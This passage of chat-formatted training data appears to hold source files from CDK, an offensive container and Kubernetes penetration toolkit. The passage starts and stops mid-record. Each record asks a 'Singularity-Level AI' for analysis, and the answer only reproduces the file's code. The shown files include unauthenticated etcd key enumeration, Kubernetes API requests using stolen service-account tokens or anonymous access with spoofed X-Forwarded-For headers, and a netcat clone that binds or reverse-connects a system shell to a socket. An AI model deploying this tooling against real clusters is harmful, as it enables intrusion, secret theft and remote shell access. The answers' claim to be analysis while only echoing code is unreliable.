task)\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/task/fix_build_null.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage task\n\n// init: fix \"build constraints exclude all Go files in /pkg/task\"\nfunc init() {\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/tool/dockerd_api/dockerd_api.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage dockerd_api\n\nimport (\n\t\"fmt\"\n\t\"github.com/cdk-team/CDK/pkg/util\"\n\t\"log\"\n)\n\nfunc UcurlToolApi(args []string) {\n\tif len(args) != 4 {\n\t\tlog.Fatal(\"invalid input args, Example: ./cdk ucurl get /var/run/docker.sock http://127.0.0.1/info \\\"\\\"\")\n\t}\n\tans, err := util.UnixHttpSend(args[0], args[1], args[2], args[3])\n\tif err != nil {\n\t\tlog.Fatalln(err)\n\t}\n\tlog.Println(\"response:\")\n\tfmt.Println(ans)\n}\n\nfunc DcurlToolApi(args []string) {\n\tif len(args) != 3 {\n\t\tlog.Fatal(\"invalid input args, Example: ./cdk dcurl get http://127.0.0.1:2375/info \\\"\\\"\")\n\t}\n\tans, err := util.HttpSendJson(args[0], args[1], args[2])\n\tif err != nil {\n\t\tlog.Fatalln(err)\n\t}\n\tlog.Println(\"response:\")\n\tfmt.Println(ans)\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/tool/etcdctl/common.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage etcdctl\n\nimport (\n\t\"bytes\"\n\t\"crypto/tls\"\n\t\"encoding/base64\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/cdk-team/CDK/pkg/errors\"\n\t\"github.com/tidwall/gjson\"\n)\n\ntype EtcdRequestOption struct {\n\tEndpoint string\n\tApi string\n\tPostData string\n\tTlsConfig *tls.Config\n\tMethod string\n\tSilent bool\n}\n\nfunc DoRequest(opt EtcdRequestOption) (string, error) {\n\t// http client\n\tif opt.TlsConfig == nil || len(opt.TlsConfig.Certificates) == 0 || opt.TlsConfig.RootCAs == nil {\n\t\topt.TlsConfig = &tls.Config{InsecureSkipVerify: true}\n\t}\n\tclient := &http.Client{\n\t\tTransport: &http.Transport{\n\t\t\tTLSClientConfig: opt.TlsConfig,\n\t\t},\n\t\tTimeout: time.Duration(5) * time.Second,\n\t}\n\n\trequest, err := http.NewRequest(opt.Method, opt.Endpoint+opt.Api, bytes.NewBuffer([]byte(opt.PostData)))\n\tif err != nil {\n\t\treturn \"\", &errors.CDKRuntimeError{Err: err, CustomMsg: \"err found while generate post request in net.http .\"}\n\t}\n\trequest.Header.Set(\"Content-Type\", \"application/json\")\n\n\tresp, err := client.Do(request)\n\tif resp != nil {\n\t\tdefer resp.Body.Close()\n\t} else if err != nil {\n\t\treturn \"\", &errors.CDKRuntimeError{Err: err, CustomMsg: \"err found in post request.\"}\n\t}\n\n\tcontent, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn \"\", &errors.CDKRuntimeError{Err: err, CustomMsg: \"err found in post request.\"}\n\t}\n\n\treturn string(content), nil\n}\n\nfunc GetKeys(content string, silent bool) (map[string]string, error) {\n\tkvs := gjson.Get(content, \"kvs\").Array()\n\tret := make(map[string]string, len(kvs))\n\tfor _, k := range kvs {\n\t\tname, err := base64.StdEncoding.DecodeString(k.Get(\"key\").String())\n\t\tif err != nil {\n\t\t\tfmt.Println(\"base64 decode failed:\", err.Error())\n\t\t\tcontinue\n\t\t}\n\n\t\tret[string(name)] = \"\"\n\t\tif !silent {\n\t\t\tfmt.Println(string(name))\n\t\t}\n\n\t\tif k.Get(\"value\").Exists() {\n\t\t\tv, _ := base64.StdEncoding.DecodeString(k.Get(\"value\").String())\n\t\t\tif !silent {\n\t\t\t\tfmt.Println(string(v))\n\t\t\t}\n\t\t\tret[string(name)] = string(v)\n\t\t}\n\t}\n\treturn ret, nil\n}\n\nfunc GenerateQuery(key string) (query string) {\n\tb64key := base64.StdEncoding.EncodeToString([]byte(strings.TrimSuffix(key, \"\\n\")))\n\tif key == \"/\" {\n\t\tbzero := base64.StdEncoding.EncodeToString([]byte{0})\n\t\tquery = fmt.Sprintf(\"{\\\"range_end\\\": \\\"%s\\\", \\\"key\\\": \\\"%s\\\", \\\"keys_only\\\":true}\", bzero, b64key)\n\t} else {\n\t\tquery = fmt.Sprintf(\"{\\\"key\\\": \\\"%s\\\"}\", b64key)\n\t}\n\treturn\n}\n\n// Only v3 version is supported\uff0clower version support comments reserved.\nfunc GetVersion(endpoint string) (string, string, error) {\n\topt := EtcdRequestOption{\n\t\tEndpoint: endpoint,\n\t\tApi: \"/version\",\n\t\tMethod: \"GET\",\n\t}\n\tresp, err := DoRequest(opt)\n\tif err != nil {\n\t\treturn \"\", \"\", err\n\t}\n\tsv := gjson.Get(resp, \"etcdserver\").String()\n\tcv := gjson.Get(resp, \"etcdcluster\").String()\n\treturn sv, cv, nil\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/tool/etcdctl/ectl.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage etcdctl\n\nimport (\n\t\"fmt\"\n\t\"net/url\"\n\t\"strings\"\n)\n\nvar ectlBanner = `ectl - Unauthorized enumeration of ectd keys.\n\nUsage:\n ./cdk ectl get \n\nExample: \n ./cdk ectl http://172.16.5.4:2379 get /\n`\n\nfunc EtcdctlToolApi(args []string) {\n\tvar opt = EtcdRequestOption{}\n\t// err break\n\tif len(args) != 3 {\n\t\tfmt.Println(ectlBanner)\n\t\treturn\n\t}\n\tu, err := url.Parse(args[0])\n\tif err != nil {\n\t\tfmt.Println(ectlBanner)\n\t\treturn\n\t}\n\topt.Endpoint = fmt.Sprintf(\"%s://%s\", u.Scheme, u.Host)\n\topt.Api = u.Path\n\n\tswitch strings.ToUpper(args[1]) {\n\tcase \"GET\":\n\t\topt.Api = \"/v3/kv/range\"\n\t\topt.Method = \"POST\"\n\t\topt.PostData = GenerateQuery(args[2])\n\t\tresp, err := DoRequest(opt)\n\t\tif err != nil {\n\t\t\tfmt.Println(err)\n\t\t\treturn\n\t\t}\n\t\tGetKeys(resp, false)\n\tdefault: // err break\n\t\tfmt.Println(ectlBanner)\n\t\treturn\n\t}\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/tool/kubectl/common.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage kubectl\n\nimport (\n\t\"bytes\"\n\t\"crypto/tls\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"math/rand\"\n\t\"net\"\n\t\"net/http\"\n\t\"os\"\n\t\"regexp\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/cdk-team/CDK/conf\"\n\t\"github.com/cdk-team/CDK/pkg/errors\"\n\t\"github.com/cdk-team/CDK/pkg/util\"\n)\n\n// MaybeSuccessfulStatuscodeList from https://www.w3.org/Protocols/HTTP/HTRESP.html\nvar MaybeSuccessfulStatuscodeList = []int{\n\t100, // RFC 7231, 6.2.1\n\t101, // RFC 7231, 6.2.2\n\t102, // RFC 2518, 10.1\n\t103, // RFC 8297\n\n\t200, // RFC 7231, 6.3.1\n\t201, // RFC 7231, 6.3.2\n\t202, // RFC 7231, 6.3.3\n\t203, // RFC 7231, 6.3.4\n\t204, // RFC 7231, 6.3.5\n\t205, // RFC 7231, 6.3.6\n\t206, // RFC 7233, 4.1\n\t207, // RFC 4918, 11.1\n\t208, // RFC 5842, 7.1\n\t226, // RFC 3229, 10.4.1\n}\n\ntype K8sRequestOption struct {\n\tTokenPath string\n\tToken string\n\tServer string\n\tApi string\n\tMethod string\n\tPostData string\n\tUrl string\n\tAnonymous bool\n}\n\nfunc ApiServerAddr() (string, error) {\n\tprotocol := \"\"\n\thost, port := os.Getenv(\"KUBERNETES_SERVICE_HOST\"), os.Getenv(\"KUBERNETES_SERVICE_PORT\")\n\tif len(host) == 0 || len(port) == 0 {\n\t\ttext := \"err: cannot find kubernetes api host in ENV\"\n\t\treturn \"\", errors.New(text)\n\t}\n\tif port == \"8080\" || port == \"8001\" {\n\t\tprotocol = \"http://\"\n\t} else {\n\t\tprotocol = \"https://\"\n\t}\n\treturn protocol + net.JoinHostPort(host, port), nil\n}\n\nfunc GetServiceAccountToken(tokenPath string) (string, error) {\n\ttoken, err := ioutil.ReadFile(tokenPath)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn string(token), nil\n}\n\nfunc SecretToken(tokenPath string) (string, error) {\n\tvar tokenErr error\n\tvar token string\n\n\tif tokenPath != \"\" {\n\t\ttoken, tokenErr = GetServiceAccountToken(tokenPath)\n\t} else if token == \"\" {\n\t\ttoken, tokenErr = GetServiceAccountToken(conf.K8sSATokenDefaultPath)\n\t}\n\tif tokenErr != nil {\n\t\treturn \"\", &errors.CDKRuntimeError{Err: tokenErr, CustomMsg: \"load K8s service account token error.\"}\n\t}\n\n\ttoken = strings.TrimSpace(token)\n\n\treturn token, nil\n}\n\n/*\ncurl -s https://192.168.0.234:6443/api/v1/nodes?watch --header \"Authorization: Bearer xxx\" --cacert ca.crt\n*/\n//https://github.com/kubernetes/client-go/blob/66db2540991da169fb60fce735064a55bfc52b71/rest/config.go#L483\nfunc ServerAccountRequest(opts K8sRequestOption) (string, error) {\n\n\t// parse token\n\tif opts.Anonymous {\n\t\topts.Token = \"\"\n\t} else if token, err := SecretToken(opts.TokenPath); err != nil {\n\t\treturn \"\", err\n\t} else {\n\t\topts.Token = token\n\t}\n\n\t// parse url if opts.Url is \"\"\n\tif len(opts.Url) == 0 {\n\t\tvar server string\n\t\tvar urlErr error\n\t\tif opts.Server == \"\" {\n\t\t\tserver, urlErr = ApiServerAddr()\n\t\t\topts.Url = server + opts.Api\n\t\t} else {\n\t\t\topts.Url = opts.Server + opts.Api\n\t\t\turlErr = nil\n\t\t}\n\t\tif urlErr != nil {\n\t\t\treturn \"\", &errors.CDKRuntimeError{Err: urlErr, CustomMsg: \"err found while searching local K8s apiserver addr.\"}\n\t\t}\n\t}\n\n\t// http client\n\tclient := &http.Client{\n\t\tTransport: &http.Transport{\n\t\t\tTLSClientConfig: &tls.Config{InsecureSkipVerify: true},\n\t\t},\n\t\tTimeout: time.Second * 3,\n\t}\n\tvar request *http.Request\n\topts.Method = strings.ToUpper(opts.Method)\n\n\trequest, err := http.NewRequest(opts.Method, opts.Url, bytes.NewBuffer([]byte(opts.PostData)))\n\tif err != nil {\n\t\treturn \"\", &errors.CDKRuntimeError{Err: err, CustomMsg: \"err found while generate post request in net.http .\"}\n\t}\n\n\t// set request header\n\tif opts.Method == \"POST\" {\n\t\trequest.Header.Set(\"Content-Type\", \"application/json\")\n\t}\n\t// auth token\n\tif len(opts.Token) > 0 {\n\t\ttoken := strings.TrimSpace(opts.Token)\n\t\trequest.Header.Set(\"Authorization\", \"Bearer \"+token)\n\t}\n\n\t// Anonymous mode\uff0cadd random ip addresses to confuse ip addresses\n\tif opts.Anonymous {\n\t\trand.Seed(time.Now().UnixNano())\n\t\tips := make([]string, 100)\n\n\t\tfor i := 0; i < 100; i++ {\n\t\t\tip := fmt.Sprintf(\"10.%d.%d.%d\", rand.Intn(256), rand.Intn(256), rand.Intn(256))\n\t\t\tips[i] = ip\n\t\t}\n\n\t\trandIpStr := strings.Join(ips, \",\")\n\t\trequest.Header.Set(\"X-Forwarded-For\", randIpStr)\n\t}\n\n\tresp, err := client.Do(request)\n\tif err != nil {\n\t\treturn \"\", &errors.CDKRuntimeError{Err: err, CustomMsg: \"err found in post request.\"}\n\t}\n\t//defer resp.Body.Close()\n\n\tcontent, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn \"\", &errors.CDKRuntimeError{Err: err, CustomMsg: \"err found in post request.\"}\n\t}\n\n\tres := string(content)\n\n\t// Fix a bug reported by the author of crossc2 on whc2021.\n\t// When the DeployBackdoorDaemonset call fails and returns an error, it will still feedback true.\n\tif !util.IntContains(MaybeSuccessfulStatuscodeList, resp.StatusCode) {\n\t\terrMsg := fmt.Sprintf(\"err found in post request, error response code: %v.\", resp.Status)\n\t\treturn res, &errors.CDKRuntimeError{\n\t\t\tErr: err,\n\t\t\tCustomMsg: errMsg,\n\t\t}\n\t}\n\n\treturn res, nil\n}\n\nfunc GetServerVersion(serverAddr string) (string, error) {\n\topts := K8sRequestOption{\n\t\tTokenPath: \"\",\n\t\tServer: serverAddr,\n\t\tApi: \"/version\",\n\t\tMethod: \"GET\",\n\t\tPostData: \"\",\n\t\tAnonymous: true,\n\t}\n\tresp, err := ServerAccountRequest(opts)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\t// use regexp to find gitVersion\n\tversionPattern := regexp.MustCompile(`\"gitVersion\":.*?\"(.*?)\"`)\n\tresults := versionPattern.FindStringSubmatch(resp)\n\tif len(results) != 2 {\n\t\treturn \"\", errors.New(\"field gitVersion not found in response\")\n\t}\n\treturn results[1], nil\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/tool/kubectl/kcurl.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage kubectl\n\nimport (\n\t\"fmt\"\n\t\"github.com/cdk-team/CDK/conf\"\n\t\"log\"\n\t\"strings\"\n)\n\nvar kcurlBanner = `kcurl - send HTTP request to K8s api-server.\n\nUsage:\n ./cdk kcurl (|anonymous|default) (get|post) []\n\nOptions:\n token_path connect api-server with user-specified service-account token.\n anonymous connect api-server using system:anonymous service-account.\n default connect api-server using pod default service-account token.\n\nExample: \n ./cdk kcurl default get 'https://192.168.0.234:6443/api/v1/nodes'\n ./cdk kcurl /var/run/secrets/kubernetes.io/serviceaccount/token get 'https://192.168.0.234:6443/api/v1/nodes'\n ./cdk kcurl anonymous post 'https://192.168.0.234:6443/api/v1/nodes' '{\"apiVersion\":\"v1\",...}'\n`\n\nfunc KubectlToolApi(args []string) {\n\n\tvar opts = K8sRequestOption{}\n\n\t// err break\n\tif len(args) != 3 && len(args) != 4 {\n\t\tfmt.Println(kcurlBanner)\n\t\treturn\n\t}\n\n\tswitch args[0] {\n\tcase \"default\":\n\t\topts.TokenPath = conf.K8sSATokenDefaultPath\n\tcase \"anonymous\":\n\t\topts.TokenPath = \"\"\n\t\topts.Anonymous = true\n\tdefault:\n\t\topts.TokenPath = args[0]\n\t}\n\n\tswitch strings.ToUpper(args[1]) {\n\tcase \"POST\":\n\t\topts.Method = \"POST\"\n\tcase \"GET\":\n\t\topts.Method = \"GET\"\n\tdefault: // err break\n\t\tfmt.Println(kcurlBanner)\n\t\treturn\n\t}\n\n\tif len(args) == 3 {\n\t\topts.Url = args[2]\n\t} else {\n\t\topts.Url = args[2]\n\t\topts.PostData = args[3]\n\t}\n\n\tresp, err := ServerAccountRequest(opts)\n\tif err != nil {\n\t\tlog.Println(\"failed to get api-server response\")\n\t\tfmt.Println(err)\n\t} else {\n\t\tlog.Println(\"api-server response:\")\n\t\tfmt.Println(resp)\n\t}\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/tool/kubectl/kubectl_bin.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\npackage kubectl\n\nimport (\n\t\"bytes\"\n\t_ \"embed\"\n\t\"os\"\n\t\"os/exec\"\n\t\"path/filepath\"\n)\n\n//go:embed assets/kubectl-amd64\nvar kubectlBinary []byte\n\nfunc ExtractKubectl() (string, error) {\n\ttmpDir, err := os.MkdirTemp(\"\", \".bin\")\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tkubectlPath := filepath.Join(tmpDir, \"kubectl\")\n\n\terr = os.WriteFile(kubectlPath, kubectlBinary, 0755)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn kubectlPath, nil\n}\n\nfunc ExecKubectl(kubectlPath string, args []string) (out string, errStr string) {\n\n\t// Example: Run \"kubectl version --client\"\n\tcmd := exec.Command(kubectlPath, args...)\n\n\t//\t\u6267\u884c\u547d\u4ee4\u5e76\u5c06\u7ed3\u679c\u653e\u5230 out \u548c err \u4e2d\n\tvar stdout, stderr bytes.Buffer\n\tcmd.Stdout = &stdout\n\tcmd.Stderr = &stderr\n\n\terr := cmd.Run()\n\n\tout = stdout.String()\n\terrStr = stderr.String()\n\n\tif err != nil {\n\t\terrStr = err.Error() + \"\\n\" + errStr\n\t\treturn out, errStr\n\t}\n\n\treturn out, errStr\n\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/tool/netcat/netcat.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n//go:build !thin && !no_netcat_tool\n// +build !thin,!no_netcat_tool\n\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage netcat\n\nimport (\n\t\"bufio\"\n\t\"bytes\"\n\t\"flag\"\n\t\"fmt\"\n\t\"github.com/axgle/mahonia\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"net\"\n\t\"os\"\n\t\"os/exec\"\n\t\"os/signal\"\n\t\"runtime\"\n\t\"strconv\"\n\t\"strings\"\n\t\"syscall\"\n)\n\nconst (\n\tudpNetwork = \"udp\"\n\tudpBufSize = 64 * 1024\n)\n\nvar (\n\tlogger = log.New(os.Stderr, \"\", 0)\n)\n\nfunc logf(f string, v ...interface{}) {\n\tif config.Verbose {\n\t\tlogger.Output(2, fmt.Sprintf(f, v...))\n\t}\n}\n\ntype Convert struct {\n\tconn net.Conn\n}\n\nfunc newConvert(c net.Conn) *Convert {\n\tconvert := new(Convert)\n\tconvert.conn = c\n\treturn convert\n}\n\nfunc (convert *Convert) translate(p []byte, encoding string) []byte {\n\tsrcDecoder := mahonia.NewDecoder(encoding)\n\t_, resBytes, _ := srcDecoder.Translate(p, true)\n\treturn resBytes\n}\n\nfunc (convert *Convert) Write(p []byte) (n int, err error) {\n\tswitch runtime.GOOS {\n\tcase \"windows\":\n\t\tresBytes := convert.translate(p, \"gbk\")\n\t\tm, err := convert.conn.Write(resBytes)\n\t\tif m != len(resBytes) {\n\t\t\treturn m, err\n\t\t}\n\t\treturn len(p), err\n\tdefault:\n\t\treturn convert.conn.Write(p)\n\t}\n}\n\nfunc (convert *Convert) Read(p []byte) (n int, err error) {\n\t// m, err := convert.conn.Read(p)\n\t// switch runtime.GOOS {\n\t// case \"windows\":\n\t// \tp = convert.Translate(p[:m], \"utf-8\")\n\t// \treturn len(p), err\n\t// default:\n\t// \treturn m, err\n\t// }\n\treturn convert.conn.Read(p)\n}\n\nvar config struct {\n\tHelp bool\n\tVerbose bool\n\tListen bool\n\tPort int\n\tNetwork string\n\tCommand bool\n\tHost string\n}\n\nfunc parseArgs() {\n\tflag.IntVar(&config.Port, \"p\", 4000, \"host port to connect or listen\")\n\tflag.BoolVar(&config.Help, \"help\", false, \"print this help\")\n\tflag.BoolVar(&config.Verbose, \"v\", false, \"verbose mode\")\n\tflag.BoolVar(&config.Listen, \"l\", false, \"listen mode\")\n\tflag.BoolVar(&config.Command, \"e\", false, \"shell mode\")\n\tflag.StringVar(&config.Network, \"n\", \"tcp\", \"network protocol\")\n\tflag.StringVar(&config.Host, \"h\", \"0.0.0.0\", \"host addr to connect or listen\")\n\tflag.Usage = usage\n\tflag.Parse()\n}\n\nfunc usage() {\n\tfmt.Fprintf(os.Stderr, `netcat version: netcat/1.6.0\nnetcat \nusage: netcat [-l] [-v] [-p port] [-n tcp]\n\noptions:\n`)\n\tflag.PrintDefaults()\n}\n\nfunc listen(network, host string, port int, command bool) {\n\tlistenAddr := net.JoinHostPort(host, strconv.Itoa(port))\n\tlistener, err := net.Listen(network, listenAddr)\n\tlogf(\"Listening on: %s://%s\", network, listenAddr)\n\tif err != nil {\n\t\tlogf(\"Listen failed: %s\", err)\n\t\treturn\n\t}\n\tconn, err := listener.Accept()\n\tif err != nil {\n\t\tlogf(\"Accept failed: %s\", err)\n\t\treturn\n\t}\n\tlogf(\"Connection received: %s\", conn.RemoteAddr())\n\tif command {\n\t\tvar shell string\n\t\tswitch runtime.GOOS {\n\t\tcase \"linux\":\n\t\t\tshell = \"/bin/sh\"\n\t\tcase \"freebsd\":\n\t\t\tshell = \"/bin/csh\"\n\t\tcase \"windows\":\n\t\t\tshell = \"cmd.exe\"\n\t\tdefault:\n\t\t\tshell = \"/bin/sh\"\n\t\t}\n\t\tcmd := exec.Command(shell)\n\t\tconvert := newConvert(conn)\n\t\tcmd.Stdin = convert\n\t\tcmd.Stdout = convert\n\t\tcmd.Stderr = convert\n\t\tcmd.Run()\n\t\tdefer conn.Close()\n\t\tlogf(\"Closed: %s\", conn.RemoteAddr())\n\t} else {\n\t\tgo func(c net.Conn) {\n\t\t\tio.Copy(os.Stdout, c)\n\t\t\tc.Close()\n\t\t\tlogf(\"Closed: %s\", conn.RemoteAddr())\n\t\t\tos.Exit(0)\n\t\t}(conn)\n\t\tfi, err := os.Stdin.Stat()\n\t\tif err != nil {\n\t\t\tlogf(\"Stdin stat failed: %s\", err)\n\t\t\treturn\n\t\t}\n\t\tif (fi.Mode() & os.ModeCharDevice) == 0 {\n\t\t\tbuffer, err := ioutil.ReadAll(os.Stdin)\n\t\t\tif err != nil {\n\t\t\t\tlogf(\"Failed read: %s\", err)\n\t\t\t}\n\t\t\tio.Copy(conn, bytes.NewReader(buffer))\n\t\t} else {\n\t\t\tio.Copy(conn, os.Stdin)\n\t\t}\n\t}\n}\n\nfunc listenPacket(network, host string, port int, command bool) {\n\tlistenAddr := net.JoinHostPort(host, strconv.Itoa(port))\n\tconn, err := net.ListenPacket(network, listenAddr)\n\tif err != nil {\n\t\tlogf(\"Listen failed: %s\", err)\n\t\treturn\n\t}\n\tlogf(\"Listening on: %s://%s\", network, listenAddr)\n\tdefer func(c net.PacketConn) {\n\t\tlogf(\"\\nClosed udp listen\")\n\t\tc.Close()\n\t\tos.Exit(0)\n\t}(conn)\n\tbuf := make([]byte, udpBufSize)\n\tn, addr, err := conn.ReadFrom(buf)\n\tif n == 0 || err == io.EOF {\n\t\treturn\n\t}\n\tlogf(\"Connection received : %s\", addr.String())\n\tfmt.Fprintf(os.Stdout, string(buf))\n}\n\nfunc dial(network, host string, port int, command bool) {\n\tdailAddr := net.JoinHostPort(host, strconv.Itoa(port))\n\tconn, err := net.Dial(network, dailAddr)\n\tif err != nil {\n\t\tlogf(\"Dail failed: %s\", err)\n\t\treturn\n\t}\n\tlogf(\"Dialed host: %s://%s\", network, dailAddr)\n\tdefer func(c net.Conn) {\n\t\tlogf(\"Closed: %s\", dailAddr)\n\t\tc.Close()\n\t}(conn)\n\tif command {\n\t\tvar shell string\n\t\tswitch runtime.GOOS {\n\t\tcase \"linux\":\n\t\t\tshell = \"/bin/sh\"\n\t\tcase \"freebsd\":\n\t\t\tshell = \"/bin/csh\"\n\t\tcase \"windows\":\n\t\t\tshell = \"cmd.exe\"\n\t\tdefault:\n\t\t\tshell = \"/bin/sh\"\n\t\t}\n\t\tcmd := exec.Command(shell)\n\t\tconvert := newConvert(conn)\n\t\tcmd.Stdin = convert\n\t\tcmd.Stdout = convert\n\t\tcmd.Stderr = convert\n\t\tcmd.Run()\n\t} else {\n\t\tgo io.Copy(os.Stdout, conn)\n\t\tfi, err := os.Stdin.Stat()\n\t\tif err != nil {\n\t\t\tlogf(\"Stdin stat failed: %s\", err)\n\t\t\treturn\n\t\t}\n\t\tif (fi.Mode() & os.ModeCharDevice) == 0 {\n\t\t\tbuffer, err := ioutil.ReadAll(os.Stdin)\n\t\t\tif err != nil {\n\t\t\t\tlogf(\"Failed read: %s\", err)\n\t\t\t}\n\t\t\tio.Copy(conn, bytes.NewReader(buffer))\n\t\t} else {\n\t\t\tinput := bufio.NewScanner(os.Stdin)\n\t\t\tfor input.Scan() {\n\t\t\t\tio.WriteString(conn, input.Text()+\"\\n\")\n\t\t\t}\n\t\t}\n\t}\n}\n\nfunc RunVendorNetcat() {\n\tparseArgs()\n\tif config.Help || len(os.Args) == 1 {\n\t\tflag.Usage()\n\t\treturn\n\t}\n\tsigs := make(chan os.Signal, 1)\n\tsignal.Notify(sigs, syscall.SIGHUP, syscall.SIGINT, syscall.SIGTERM, syscall.SIGQUIT)\n\tgo func() {\n\t\t<-sigs\n\t\tlogf(\"Exited\")\n\t\tos.Exit(0)\n\t}()\n\tif config.Listen {\n\t\tif strings.HasPrefix(config.Network, udpNetwork) {\n\t\t\tlistenPacket(config.Network, config.Host, config.Port, config.Command)\n\t\t}\n\t\tlisten(config.Network, config.Host, config.Port, config.Command)\n\t\treturn\n\t}\n\tdial(config.Network, config.Host, config.Port, config.Command)\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/tool/netcat/thin_code.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n//go:build thin || no_netcat_tool\n// +build thin no_netcat_tool\n\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n 